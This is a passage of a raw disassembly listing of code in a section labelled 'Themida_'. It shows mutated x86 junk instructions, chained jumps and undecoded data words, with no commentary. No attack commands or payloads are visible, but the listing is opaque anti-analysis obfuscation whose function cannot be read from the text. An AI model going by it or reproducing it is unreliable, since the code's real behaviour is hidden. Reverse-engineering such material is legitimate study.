		dd 8904EC83h, 0EC83240Ch, 24348904h, 268h, 24348B00h, 8904C483h
		dd 0E897E9F1h, 14890000h, 81E28924h, 4C2h, 0E2895200h
		dd 0D534E9h, 0C8B6600h,	84E95724h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51158B:				; CODE XREF: Themida_:00514AA0j
		mov	ebx, esp
		push	eax
		push	ebp
		mov	ebp, 25B74B3Bh
		mov	eax, 0E4D91642h
		sub	eax, 1F96311Ch
		jmp	loc_5178EE
; ---------------------------------------------------------------------------
		db 68h
		dd 63F2h, 0E9243489h, 0C9EBh, 51E9F089h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5115B7:				; CODE XREF: Themida_:0051E723j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 4
		mov	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		push	ecx
		push	ebx
		mov	ebx, 1DEF6E4Ch
		mov	ecx, 80B6E403h
		push	ebx
		mov	ebx, 2ACD4722h
		jmp	loc_51A2BB
; ---------------------------------------------------------------------------
		dd 1C381h, 0EBC10000h, 19EB8105h, 0D106AA05h, 0EEEB81EBh
		dd 17D504Eh, 241C8BD9h,	4EC81h,	34890000h, 35C8E924h, 0F1810000h
		dd 33ED05ACh, 4EC81h, 0A1E90000h, 550000E7h, 0FFD850E9h
		dd 7307BEFFh, 0C14619D9h, 0EC8306EEh, 241C8904h, 1E2DBA52h
		dd 0CA811763h, 320A0AC2h, 5583EA81h, 0BF570958h, 479A6DDBh
		dd 0A5F4C781h, 0FA311D65h, 0EAC2815Fh, 0F779303Eh, 0F1BAE9DAh
		dd 15D0000h, 2C3358C5h,	242C3124h, 0E9242C33h, 1E66h, 8006E5C0h
		dd 0E800BBC5h, 81240C8Bh, 4C4h,	6C356800h, 14890000h, 0E9A1B624h
		dd 0B5D8h, 81243489h, 4ECh, 240C8900h, 4B9h, 0CF895700h
		dd 595FFE89h, 3DA4E9h, 73C78100h, 1F20722h, 1D60E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5116C6:				; CODE XREF: Themida_:0050CBB9j
		mov	ebp, 24BF70E3h
		jmp	loc_515443
; ---------------------------------------------------------------------------
		dd 2B9h, 59CE0100h, 0E9243487h,	0FFFFC96Bh
; ---------------------------------------------------------------------------


loc_5116E0:				; CODE XREF: Themida_:0050F5F3j
		add	ebp, 1A520CE9h
		pop	eax
		push	ebp
		jmp	loc_51D7E5
; ---------------------------------------------------------------------------
aFiSat		db 'f,$T',0
		align 2
		dw 1C33h
		dd 241C3124h, 5C241C33h, 0B57FE9h
		db 0
; ---------------------------------------------------------------------------


loc_511705:				; CODE XREF: Themida_:00521141j
		add	eax, esi
		add	eax, 692D4D3Eh
		mov	esi, [esp]
		add	esp, 4
		push	7628h
		mov	[esp], edi
		jmp	loc_5142DE
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 0E9000000h, 0B681h, 1C330F2Dh, 58C789CEh, 5825E9h, 2434FF00h
		dd 4C48159h, 0E9000000h, 0B9ADh, 4BE56h, 0F3010000h, 8124348Bh
		dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 8BD02124h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5153B9
		push	6711h
		mov	[esp], edx
		jmp	loc_511345
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 0CA60E95Dh, 525EFFFFh, 4A3839BAh, 5FEA810Ah,	8137C042h
		dd 1A009BF2h, 1318E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5117B2:				; CODE XREF: Themida_:00511013j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 1CC91E87h, 0BF71E9h, 81E68900h, 4C6h, 0ADBEE900h
		dd 49BEFFFFh, 81969911h, 0D33E9BC5h, 0E9F50141h, 233Ah
		dd 4C681h, 0C6810000h, 4, 2474FF56h, 48F5E04h, 23E95C24h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511807:				; CODE XREF: Themida_:00519AFAj
		pop	edx
		sub	eax, 73897A75h
		pop	ebp
		sub	eax, 4
		jmp	loc_51AE61
; ---------------------------------------------------------------------------
		dd 676FBE66h, 5EF08966h, 47712566h, 0FFD5AEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511829:				; CODE XREF: Themida_:0051A59Dj
		add	dl, 0D2h
		add	dl, 0ECh
		mov	eax, [esp]
		add	esp, 4
		add	bl, dl
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5149D5
; ---------------------------------------------------------------------------


loc_51184F:				; CODE XREF: Themida_:00511886j
		pop	ecx
		sub	eax, edi
		pop	edi
		jmp	loc_519B86
; ---------------------------------------------------------------------------
aSsso		db 'S陎',0
		align 2
		dw 405h
		dd 5000000h, 4,	8B240487h, 29E92424h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_511873:				; CODE XREF: Themida_:005134B3j
		mov	edx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_51BEC7
; ---------------------------------------------------------------------------


loc_511884:				; CODE XREF: Themida_:0051800Bj
		xor	edi, ecx
		jmp	loc_51184F
; ---------------------------------------------------------------------------


loc_51188B:				; CODE XREF: Themida_:0051A6DBj
		and	ecx, 83964F2h
		sub	ecx, 81824ECh
		add	esi, ecx
		jmp	loc_50CC6B
; ---------------------------------------------------------------------------


loc_51189E:				; CODE XREF: Themida_:00517253j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		sub	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_517D40
; ---------------------------------------------------------------------------
aBMS		db 'm((',0
		align 10h


loc_5118D0:				; CODE XREF: Themida_:00518DBBj
		mov	edi, ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		neg	edi
		jmp	loc_51F3EF
; ---------------------------------------------------------------------------
		dd 569C281h, 0D63138D4h, 5724148Bh, 3CE9E789h, 0E9000030h
		dd 0FFFF9CEDh
; ---------------------------------------------------------------------------


loc_5118F8:				; CODE XREF: Themida_:005184C2j
		mov	[esp], esi
		push	ecx
		push	125B5443h
		pop	ecx
		shl	ecx, 7
		jmp	loc_512D1E
; ---------------------------------------------------------------------------
aPg@sd		db 'G@d',0
		align 2


loc_511912:				; CODE XREF: Themida_:0051354Aj
		add	ebp, ecx
		add	ebp, 3303299h
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_517D23
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0BABF5753h, 47274D5Dh, 3874B850h, 0C729D86Ch, 8324048Bh
		dd 0FB8904C4h, 73C7815Fh, 15F8037h, 73EF81DFh, 8B5F8037h
		dd 0C481241Ch, 4, 7E92E781h, 0B4E96129h, 0B4000066h, 58E3008Eh
		dd 0EB80D300h, 0C3FE5A8Eh, 0E989C380h, 0FFFFC3CDh, 7ABCE95Ah
		dd 0BF570000h, 4, 0FFBB96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511999:				; CODE XREF: Themida_:00517806j
		xor	ecx, eax
		pop	eax
		jmp	loc_517FE3
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 907817BDh, 0E9E8210Eh, 0FFFFD7A0h, 31241433h, 64E92414h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5119BB:				; CODE XREF: Themida_:0051ECB1j
		or	bl, 3Ch
		xor	bl, 5Eh
		sub	al, 0DDh
		add	al, bl
		add	al, 0DDh
		jmp	loc_50B9A2
; ---------------------------------------------------------------------------
aJvsub		db 'JVb',0
		dw 8100h
		dd 0F5082444h, 5B1AE72Eh, 4244481h, 7BB71ED4h, 0C78AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5119EA:				; CODE XREF: Themida_:0051A328j
		add	ebx, ebp
		add	ebx, 7E85714Dh
		jmp	loc_519D5A
; ---------------------------------------------------------------------------
		align 4
		dd 2DFBE9D8h, 14F70000h, 243C8B24h, 0E904C483h,	0FFFFB685h
		dd 0FF9BD4E9h, 0E99C50FFh, 0FFFF9BCDh, 5A0668h,	242C8900h
		dd 754866BDh, 7E5C146h,	2414F755h, 9FF5815Dh, 0E928A95Ch
		dd 0FFFFC127h, 0DABAF681h, 0F58927EDh, 4717E9h,	241C8B00h
		dd 0FFC53CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_511A4D:				; CODE XREF: Themida_:0051A8EBj
		push	edx
		jmp	loc_51899D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0CCC18104h, 10EDF0Ch, 0CCE981F9h, 0E90EDF0Ch
dword_511A68	dd 0FFFFE6FDh		; DATA XREF: Themida_:0050D40Bo
; ---------------------------------------------------------------------------


loc_511A6C:				; CODE XREF: Themida_:0051EB3Fj
		sub	esp, 4
		jmp	loc_510FA5
; ---------------------------------------------------------------------------


loc_511A74:				; CODE XREF: Themida_:005205D7j
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5108F5
; ---------------------------------------------------------------------------


loc_511A86:				; CODE XREF: Themida_:0051842Fj
		add	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		jmp	loc_5193D4
; ---------------------------------------------------------------------------
		db 83h
		dd 0FDE904C4h, 0FF00003Dh, 535D2434h, 0C381E389h, 4, 8704C383h
		dd 23E9241Ch, 8B00005Dh, 0DBE92424h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_511ABF:				; CODE XREF: Themida_:0051F0C7j
		mov	edx, [esp]
		add	esp, 4
		push	4C54h
		mov	[esp], eax
		jmp	loc_50D8C7
; ---------------------------------------------------------------------------
		db 50h,	0FFh, 74h
		dd 0E9580424h, 0E660h, 4C481h, 0C4810000h, 4, 75D0E9h
		dd 4C48100h, 1000000h, 241C8BDDh, 56585450h, 0C93B6BBEh
		dd 3F68151h, 0E92AC15Ch, 0F1C8h, 4EC815Ch, 89000000h, 0B951242Ch
		dd 154C14C4h, 242C8151h, 1F6252D6h, 83242C8Bh, 0C58104C4h
		dd 1F6252D6h, 4EC8359h,	0FFC049E9h, 87D6F7FFh, 86E92434h
		db 0F4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_511B47:				; CODE XREF: Themida_:0050B699j
		pop	ecx
		push	edx
		mov	edx, 6FEB2B14h
		add	edx, 4D4C2317h
		xor	edx, 70C72A94h
		jmp	loc_514F9B
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0E99C241Ch, 91BCh, 24048F54h, 4EC81h, 14890000h, 1349BA24h
		dd 0D2F746ACh, 134EC281h, 6C8146ACh, 71E30424h,	5401194Ah
		dd 44810424h, 71E30424h, 3CE9194Ah
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511B9B:				; CODE XREF: Themida_:0050D9E2j
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_510EE9
; ---------------------------------------------------------------------------
		dd 53242C89h, 6104F1BBh, 0CBFE924h, 34FF0000h, 48FA6887h
		dd 14890000h, 132EBA24h, 0F0E9193Bh, 5D000045h,	0E9E78957h
		dd 0FFFFEF47h, 459E681h, 0CE81472Eh, 5B6B3F49h,	0A3BE5653h
		dd 566D0D69h, 0EB835E5Bh, 16EB81FFh, 816AFD17h,	4C706DCBh
		dd 81DBF71Fh, 3A1663E3h, 0BA10E910h, 0E95A0000h, 0FFFFD51Dh
; ---------------------------------------------------------------------------


loc_511C0C:				; CODE XREF: Themida_:005151D4j
		push	esp
		jmp	loc_511046
; ---------------------------------------------------------------------------
aUs		db 'U=',0
		align 4
		dd 3B24248Bh, 0C2E99CC8h, 0F7FFFF99h, 0B7C0E9D0h, 8B660000h
		dd 1768240Ch, 89000054h, 0E9542434h, 0B3D2h
; ---------------------------------------------------------------------------


loc_511C3C:				; CODE XREF: Themida_:00517865j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		jmp	loc_519C15
; ---------------------------------------------------------------------------


loc_511C57:				; CODE XREF: Themida_:0051D366j
		pop	ecx
		push	esi
		push	19AD74FAh
		pop	esi
		jmp	loc_51701C
; ---------------------------------------------------------------------------


loc_511C64:				; CODE XREF: Themida_:0050E797j
		mov	edi, 15A6566Bh
		and	edi, 36AB3F9Ch
		xor	edi, 0CB5CC7B8h
		add	eax, 60683E72h
		add	eax, 44377E16h
		add	eax, edi
		sub	eax, 44377E16h
		sub	eax, 60683E72h
		pop	edi
		push	3E43h
		mov	[esp], ebp
		push	eax
		jmp	loc_517ABB
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 6616h
; ---------------------------------------------------------------------------


loc_511CA0:				; CODE XREF: Themida_:0051C68Fj
		mov	ebx, 40CE7DCCh
		sub	ebx, 0A45AB60Ch
		add	eax, ebx
		pop	ebx
		jmp	loc_510FDC
; ---------------------------------------------------------------------------
		db 53h
		dd 4EC81h, 24890000h, 0AADAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511CC2:				; CODE XREF: Themida_:0050CC70j
		mov	[esp], edi
		mov	edi, 2D4E5519h
		mov	ecx, 69A2B1C3h
		sub	ecx, edi
		pop	edi
		shl	ecx, 6
		jmp	loc_50F5AF
; ---------------------------------------------------------------------------
aYs		db 'Y龻',0
		align 10h
		dd 0C40BE95Dh, 77FFFFFFh, 58669D1Ch, 9C240410h,	0FF98F0E9h
		dd 58C328FFh, 8B9E9h, 241C8700h, 240C895Ch, 0FFD206E9h
		dd 0E9DAF7FFh, 1D1Ch
; ---------------------------------------------------------------------------


loc_511D10:				; CODE XREF: Themida_:0051601Bj
		mov	[esp], ebx
		jmp	loc_517864
; ---------------------------------------------------------------------------
		dd 489DBB53h, 0C68182E5h, 0C32439Dh, 24E9DE01h,	8900008Fh
		dd 0E9552424h, 594Ch, 0E9242C89h, 0FFFFEBB3h, 0D0E91FB1h
		dd 81FFFFDCh, 434579EBh, 0E95953C0h, 7FEBh, 0BD242C89h
		dd 4, 0E95DEE01h, 0FFFFC75Dh, 16A6F181h, 0D1F774B2h, 4A50E181h
		dd 0C1810397h, 78177288h, 0DEBBF57h, 814F5D44h,	138862C7h
		dd 5FF90127h, 7CE9C831h, 0FFFFFFDAh, 9853E930h,	0D831FFFFh
		dd 0AD50E9h
		db 0
; ---------------------------------------------------------------------------


loc_511D99:				; CODE XREF: Themida_:005144ABj
		sub	bh, 4Bh
		jmp	loc_50F733
; ---------------------------------------------------------------------------
		db 5Dh,	1, 0F7h
aYsju		db '^YJ',0
		db 0
; ---------------------------------------------------------------------------


loc_511DAB:				; CODE XREF: Themida_:005198FFj
		xchg	ecx, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		jmp	loc_51D10A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E189240Ch, 4C181h, 0C1830000h, 74FF5104h
		dd 8F590424h, 0F75C2404h, 64DEE9D0h, 14890000h,	6529BA24h
		dd 0D301FF4Ch, 481535Ah, 1D2DFD24h, 0EA815A53h,	531D2DFDh
		dd 87A1E9h, 4C38100h, 0E9000000h, 286Eh, 66FFC280h, 661C9668h
		dd 86241489h, 0D5F6242Ch, 66242C86h, 0E924148Bh, 0FFFFA44Eh
; ---------------------------------------------------------------------------


loc_511E28:				; CODE XREF: Themida_:0050C0B8j
		and	edx, 6C1C4F32h
		or	edx, 47C02E72h
		add	edx, 0DB4F1F6Dh
		sub	ecx, edx
		jmp	loc_51818A
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0C1810000h, 24E40504h, 2333E9h
		db 0
; ---------------------------------------------------------------------------


loc_511E51:				; CODE XREF: Themida_:00519C18j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	ecx, 0AC40AECh
		push	1
		push	dword ptr [esp]
		jmp	loc_50D4B4
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C4h
		dd 4, 0C7FEE9h
		db 0
; ---------------------------------------------------------------------------


loc_511E79:				; CODE XREF: Themida_:00520A91j
		add	ecx, 3D7D685Bh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_51FFDC
; ---------------------------------------------------------------------------
		dd 0E955D601h, 0FFFFAC3Ch
; ---------------------------------------------------------------------------


loc_511E94:				; CODE XREF: Themida_:0051A618j
		mov	[esp], esp
		jmp	loc_510402
; ---------------------------------------------------------------------------


loc_511E9C:				; CODE XREF: Themida_:0051CFAFj
		mov	ecx, 676F3F5Eh
		mov	edi, 676F3F62h
		push	ecx
		mov	ecx, 77990890h
		jmp	loc_520A4C
; ---------------------------------------------------------------------------


loc_511EB1:				; CODE XREF: Themida_:0051DB16j
		mov	[esp], ebx
		mov	ebx, 36F039FCh
		add	esi, ebx
		pop	ebx
		sub	esi, 69C9248Ch
		pop	edi
		push	ebx
		mov	ebx, 4
		jmp	loc_51C789
; ---------------------------------------------------------------------------


loc_511ECE:				; CODE XREF: Themida_:005152F3j
		add	ebx, 58A534DDh
		push	edi
		jmp	loc_51968A
; ---------------------------------------------------------------------------


loc_511EDA:				; CODE XREF: Themida_:005131FCj
		push	ebx
		add	dword ptr [esp], 39626C8h
		jmp	loc_51BDC2
; ---------------------------------------------------------------------------
		db 66h
		dd 8166DDF7h, 66D186F5h, 0D5F7664Dh, 3EDC166h, 0BA665266h
		dd 29662E77h, 148B66D5h, 0A7EDE924h, 0E9580000h, 0D700h
; ---------------------------------------------------------------------------


loc_511F10:				; CODE XREF: Themida_:00518F3Ej
		pop	eax
		and	eax, ecx
		jmp	loc_51BD6D
; ---------------------------------------------------------------------------
		dd 8E9525Ah
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511F1F:				; CODE XREF: Themida_:0050C738j
		add	esp, 4
		pop	edx
		jmp	loc_51B8E0
; ---------------------------------------------------------------------------
		db 81h
		dd 0E77C51C7h, 1CBCE93Bh, 815B0000h, 4C3h, 4EB8300h, 2474FF53h
		dd 2CE95B04h, 89000045h, 0E189240Ch, 4C181h, 83570000h
		dd 23E904ECh, 81000062h, 0C353B5C2h, 81F20112h,	0C353B5EAh
		dd 14875E12h, 225EE924h, 0B8500000h, 549F13A0h,	42D6E9h
		dd 0E9E78900h, 0AD22h, 1C581h, 0C0E90000h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_511F93:				; CODE XREF: Themida_:0051A735j
		push	edx
		push	ebx
		jmp	loc_515FD3
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0A9F9E90Ch, 0C4830000h, 2BD5504h, 1000000h, 92E95DEBh
		dd 5B0000A7h, 8051E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511FBA:				; CODE XREF: Themida_:0051114Fj
		push	ebp
		push	ecx
		mov	ecx, 120049Fh
		mov	ebp, ecx
		pop	ecx
		and	edx, ebp
		pop	ebp
		jmp	loc_50DF1C
; ---------------------------------------------------------------------------
		dd 3777C281h, 0CA01042Dh, 3777EA81h, 3159042Dh,	44F4E9D0h
		dd 0D2F70000h, 0C681D687h, 37FD395Bh, 5508EEC1h, 2E1A56BDh
		dd 3706E92Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_511FFA:				; CODE XREF: Themida_:00519176j
		pop	ebp
		jmp	loc_511526
; ---------------------------------------------------------------------------
		dd 0B270C181h, 0CD8905DCh, 54F58159h, 45524F1Ch, 0D001E9h
		dd 2C58100h, 55000000h,	0FFBBB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512021:				; CODE XREF: Themida_:0051C528j
		mov	[esp], ebx
		push	esi
		mov	esi, 1E833EE4h
		sub	[esp+4], esi
		pop	esi
		pop	edi
		add	edi, 1E833EE4h
		mov	ebx, [esp]
		push	6F36h
		mov	[esp], ecx
		push	28AAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_50E9EC
; ---------------------------------------------------------------------------


loc_512058:				; CODE XREF: Themida_:00518A50j
		pop	eax
		jmp	loc_51521C
; ---------------------------------------------------------------------------


loc_51205E:				; CODE XREF: Themida_:00517302j
		or	edi, 643866E3h
		add	edi, 82841805h
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_50BE50
; ---------------------------------------------------------------------------
		db 1, 0CAh, 81h
		dd 1243EFEAh, 240C8B59h, 104C483h, 0F3C3E9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51209A:				; CODE XREF: Themida_:005198F7j
		push	dword ptr [esp]
		jmp	loc_5167FA
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 0CF682404h, 8900003Ch, 0DA68240Ch, 89000010h, 5168241Ch
		dd 5B6AFE15h, 0C107EBC1h, 0FB8707E3h, 0FB31D7F7h, 998EE9h
		dd 0C1D2F700h, 0DAF708EAh, 0F882EA81h, 0D321C9B2h, 1FCDE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5120E2:				; CODE XREF: Themida_:0050C38Ej
		add	ecx, 663F086Ch
		add	ecx, eax
		sub	ecx, 663F086Ch
		sub	ecx, 1C79ABh
		push	ebx
		jmp	loc_51CBD7
; ---------------------------------------------------------------------------


loc_5120FC:				; CODE XREF: Themida_:0052024Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_515CA5
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF94D1h, 0FE58E588h, 0C60AE9CDh, 0E3D10000h, 3CB4E381h
		dd 0BE567406h, 622303FEh, 0FFC121E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512131:				; CODE XREF: Themida_:0051EA7Aj
		mov	[esp], edi
		jmp	loc_517C08
; ---------------------------------------------------------------------------


loc_512139:				; CODE XREF: Themida_:0051C9BDj
		pop	dword ptr [esp]
		jmp	loc_515F63
; ---------------------------------------------------------------------------
		db 31h,	7Ch, 24h
		dd 2434FF04h, 79E9575Fh, 5100009Bh, 42474FFh, 24048F59h
		dd 2EE9055Ch, 0C8017DCDh, 0CD2EE92Dh, 3F68597Dh, 89000035h
		dd 0E957243Ch, 0AD1Dh
; ---------------------------------------------------------------------------


loc_512174:				; CODE XREF: Themida_:0051CE3Dj
		sub	[esp+8], edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	dword ptr [esp+4], 192E41h
		jmp	loc_510104
; ---------------------------------------------------------------------------
		dd 4D79E781h, 0EFC16346h, 81DFF704h, 0BC81CAC7h, 5FFD2968h
		dd 0B50CE95Fh, 0BE56FFFFh, 2B193600h, 2D5EF089h, 2965ED46h
		dd 5758C789h, 6A242C81h, 8B1D6C45h, 0CBE9242Ch,	31000097h
		dd 8F66C3h, 7305E9h, 58C32900h,	0C381C301h, 246B29E5h
		dd 4EC81h, 3C890000h, 62DFBF24h, 0EB8101FBh, 45D66F3Ch
		dd 6CEEBA52h, 0D3296DCCh, 1F35E9h, 4C48300h, 8904EC83h
		dd 26BE2434h, 46541247h, 2414F756h, 0E6814E5Eh,	42B35D23h
		dd 6FC6814Eh, 0F7379935h, 0B0E681DEh, 0C156C618h, 0E68108EEh
		dd 0CD31B8Ch, 6488BF57h, 0C6813BFBh, 24DE54E4h,	0EE81FE01h
		dd 24DE54E4h, 8BF3295Fh, 0C4832434h, 4AC38104h,	55297B4Dh
		dd 0CD223EBDh, 0C5814D16h, 11315715h, 565DEB29h, 0FFDC35E9h
		dd 0E8005BFFh, 240C8B66h, 1513E9h, 2C77FF00h, 8916E9h
		dd 5BD92900h, 6303685Eh, 3C890000h, 4F2BE924h, 685F0000h
		dd 369Dh, 89242C89h, 4EC81E5h, 89000000h, 4B9240Ch, 1000000h
		dd 0ED8359CDh, 242C8704h, 0A31DE9h, 2474FF00h, 240C8B04h
		dd 815A5452h, 4C2h, 4C28100h, 83000000h, 0F3E904ECh
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5122DB:				; CODE XREF: Themida_:0050C7DDj
		pop	ebp
		inc	edx
		xor	edx, 4DAD37ECh
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_51F352
; ---------------------------------------------------------------------------
		db 0B9h, 4Ah, 4Dh
		dd 0CB29297Bh, 88C38159h, 313C3B64h, 92E3E9C2h,	1C89FFFFh
		dd 4EC8324h, 24048F54h,	4BF57h,	44810000h, 4A700424h, 7C017288h
		dd 10E90424h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512323:				; CODE XREF: Themida_:0051E8E8j
		mov	bh, ah
		jmp	loc_520C10
; ---------------------------------------------------------------------------
a0Hnc		db '0hnC',0
		dd 0D875E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512336:				; CODE XREF: Themida_:00516B1Cj
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_51E8ED
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 2Ch
		dd 0E983DD27h, 0FFFFF442h, 68D1045Bh, 12E3h, 89241C89h
		dd 4C381E3h, 83000000h,	0EC8104EBh, 4, 0FF241C89h, 5B042474h
		dd 5C24048Fh, 6DA7E9h, 0C7815D00h, 4, 4EC81h, 0BEE90000h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51238F:				; CODE XREF: Themida_:0051FF62j
		pop	esi
		jmp	loc_51C204
; ---------------------------------------------------------------------------


loc_512395:				; CODE XREF: Themida_:00515F67j
		mov	ecx, esp
		jmp	loc_518BD0
; ---------------------------------------------------------------------------


loc_51239C:				; CODE XREF: Themida_:0050FB7Fj
		push	eax
		jmp	loc_5207E4
; ---------------------------------------------------------------------------


loc_5123A2:				; CODE XREF: Themida_:0051244Fj
		push	edi
		mov	edi, 0B115FF0h
		and	edi, 9E57522h
		inc	edi
		jmp	loc_50BD3C
; ---------------------------------------------------------------------------
		dd 0E904EA83h, 0FFFFF5F4h
; ---------------------------------------------------------------------------


loc_5123BC:				; CODE XREF: Themida_:00518528j
		push	639Fh
		jmp	loc_50BC2A
; ---------------------------------------------------------------------------


loc_5123C6:				; CODE XREF: Themida_:0050E700j
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_51B409
; ---------------------------------------------------------------------------
		dd 1AD868h, 240C8900h, 0B850E189h, 22402CFBh, 35D0F7h
		dd 1DDBFD3h, 0C18158C1h, 4, 5C240C87h, 31240433h, 4332404h
		dd 24248B24h, 0C8BE0F66h, 44BB68h, 24148900h, 41E9E289h
		dd 890000D5h, 1A682404h, 8900002Fh, 0E189240Ch,	4C181h
		dd 0E9830000h, 1D8E904h, 0B8500000h, 0F144E02h,	0FF9F96E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512439:				; CODE XREF: Themida_:00513347j
		mov	ebp, 604AA0EEh
		add	ebx, ebp
		pop	ebp
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_516742
; ---------------------------------------------------------------------------


loc_51244E:				; CODE XREF: Themida_:005163BAj
		pop	esp
		jmp	loc_5123A2
; ---------------------------------------------------------------------------


loc_512454:				; CODE XREF: Themida_:0051C4C3j
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	1256h
		jmp	loc_51AB34
; ---------------------------------------------------------------------------
		dd 0F758C609h, 0DB0AE9D6h, 0C890000h, 98BE5624h, 0B976BC66h
		dd 0D363A6FEh, 348BF129h, 4C48324h, 78E1C981h, 0D9F7257Dh
		dd 871DF181h, 0C8018200h, 0DAE95759h, 5F0000D9h, 0ACED814Dh
		dd 505DB932h, 9169D0B8h, 58C50925h, 6673BA52h, 0EE9359Dh
		dd 53FFFFCFh, 0DA88E9B3h, 0C4F8E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5124CA:				; CODE XREF: Themida_:0051D7C9j
		dec	edx
		sub	edx, 0BEE3B7E8h
		push	edx
		jmp	loc_50D97F
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 46824h, 1590000h,	2434FFCBh, 1045E959h, 0B4680000h
		dd 89000038h, 74FF242Ch, 8F5D0424h, 248B2404h, 4EC8124h
		dd 0E9000000h, 0B21Ah
; ---------------------------------------------------------------------------


loc_51250C:				; CODE XREF: Themida_:0050CFC0j
		mov	[esp], ebp
		mov	ebp, 277C0078h
		xor	ebp, 5C3661A2h
		inc	ebp
		add	ebp, 40E11D7Eh
		jmp	loc_518686
; ---------------------------------------------------------------------------


loc_512526:				; CODE XREF: Themida_:005210ACj
		push	4669215Bh
		jmp	loc_515B18
; ---------------------------------------------------------------------------
		dd 28B6664h, 4EC81h, 0D1E90000h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51253F:				; CODE XREF: Themida_:0052010Dj
		push	ecx
		pop	ebx
		pop	ecx
		add	ebx, 7C577C5Dh
